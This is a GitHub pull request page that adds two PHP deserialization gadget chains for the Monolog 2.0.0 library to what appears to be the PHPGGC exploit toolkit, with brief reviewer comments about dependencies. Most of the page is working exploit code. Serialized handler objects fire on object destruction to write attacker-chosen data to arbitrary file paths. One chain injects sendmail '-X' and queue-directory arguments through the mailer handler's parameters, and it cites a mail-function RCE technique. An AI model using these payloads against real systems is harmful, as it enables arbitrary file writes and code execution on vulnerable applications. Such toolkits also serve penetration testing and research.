Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

add some gadget chains that I had collected #160

Open
wants to merge 31 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from 1 commit
Commits
Show all changes
31 commits
Select commit Hold shift + click to select a range
588f026
Add files via upload
CyanM0un Sep 15, 2023
1ce1c7f
Add files via upload
CyanM0un Sep 15, 2023
3630abd
Add files via upload
CyanM0un Sep 15, 2023
3f0af9a
Add files via upload
CyanM0un Sep 15, 2023
3ad0f64
Add files via upload
CyanM0un Sep 15, 2023
08292bb
Add files via upload
CyanM0un Sep 15, 2023
7f83ff0
Add files via upload
CyanM0un Sep 15, 2023
34c0bb4
Add files via upload
CyanM0un Sep 15, 2023
23c42e0
Add files via upload
CyanM0un Sep 15, 2023
97a8d4c
Add files via upload
CyanM0un Sep 15, 2023
9454b85
Add files via upload
CyanM0un Sep 15, 2023
1060e2e
Add files via upload
CyanM0un Sep 15, 2023
470501a
Add files via upload
CyanM0un Sep 15, 2023
1699fa4
Add files via upload
CyanM0un Sep 15, 2023
5cc966a
Add files via upload
CyanM0un Sep 15, 2023
bae565e
Add files via upload
CyanM0un Sep 15, 2023
8b7e46d
Add files via upload
CyanM0un Sep 15, 2023
b2c4f08
Add files via upload
CyanM0un Sep 15, 2023
f6bfa3a
Add files via upload
CyanM0un Sep 15, 2023
7d47e3f
Add files via upload
CyanM0un Sep 15, 2023
e1115ae
Add files via upload
CyanM0un Sep 15, 2023
45ba17d
Add files via upload
CyanM0un Sep 15, 2023
d176432
Add files via upload
CyanM0un Sep 15, 2023
3f1d9de
Add files via upload
CyanM0un Sep 15, 2023
6e038aa
Add files via upload
CyanM0un Sep 15, 2023
7429a81
Add files via upload
CyanM0un Sep 15, 2023
05aecd0
Add files via upload
CyanM0un Sep 15, 2023
d6df11a
Add files via upload
CyanM0un Sep 15, 2023
233401e
Add files via upload
CyanM0un Sep 15, 2023
041f70b
Add files via upload
CyanM0un Sep 15, 2023
6df9518
Add files via upload
CyanM0un Sep 15, 2023
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
18 changes: 18 additions & 0 deletions gadgetchains/Monolog/FW/2/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
<?php

namespace GadgetChain\Monolog;

class FW2 extends \PHPGGC\GadgetChain\FileWrite
{
public static $version = '2.0.0';
public static $vector = '__destruct';
public static $author = 'CyanM0un';

public function generate(array $parameters)
{
$path = $parameters['remote_path'];
$data = $parameters['data'];

return new \Monolog\Handler\GroupHandler($path, $data);
}
}
41 changes: 41 additions & 0 deletions gadgetchains/Monolog/FW/2/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
<?php

namespace Monolog\Handler
{
class DeduplicationHandler
{
protected $bufferSize = 1;
protected $buffer;
protected $deduplicationLeve=0;
protected $deduplicationStore;
protected $time=0;

public function __construct($path, $data)
{
$this->buffer = [["level"=>1,"message"=>$data,'datetime'=>new \Gelf\Message(),'level_name'=>'']];
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Gelf\Message is not present.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

again by composer create-project monolog/monolog=2.0.0 monolog, in fact, a class that has the getTimestamp method will be ok

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Same: by default, create-projecŧ seems to include dev dependencies, while install does NOT.
We have generally refrained from including dev dependencies to GCs, as they are not often included.

$this->deduplicationStore = $path;
}
}

class GroupHandler
{
protected $handlers;

public function __construct($path, $data)
{
$this->handlers = [new DeduplicationHandler($path, $data)];
}
}
}

namespace Gelf
{
class Message
{
protected $timestamp=0;

public function __construct()
{
}
}
}
19 changes: 19 additions & 0 deletions gadgetchains/Monolog/FW/3/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
<?php

namespace GadgetChain\Monolog;

class FW3 extends \PHPGGC\GadgetChain\FileWrite
{
public static $version = '2.0.0';
public static $vector = '__destruct';
public static $author = 'CyanM0un';
public static $information = 'requires the sendmail and may take a while to write. https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html';

public function generate(array $parameters)
{
$path = $parameters['remote_path'];
$data = $parameters['data'];

return new \Monolog\Handler\FingersCrossedHandler($path, $data);
}
}
43 changes: 43 additions & 0 deletions gadgetchains/Monolog/FW/3/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
<?php

namespace Monolog\Handler
{
class FingersCrossedHandler
{
protected $passthruLevel=0;
protected $handler;
protected $buffer;

function __construct($path, $data)
{
$this->buffer = [["level"=>1]];
$this->handler = new NativeMailerHandler($path, $data);
}
}

class NativeMailerHandler
{
protected $level=0;
protected $formatter;
protected $contentType='text/plain';
protected $parameters;
protected $to=["[email protected]"];
protected $subject;

public function __construct($path, $data)
{
$this->subject = $data;
$this->parameters = ['-OQueueDirectory=/tmp', '-X' . $path];
}
}
}

namespace Monolog\Formatter
{
class NormalizerFormatter
{
public function __construct()
{
}
}
}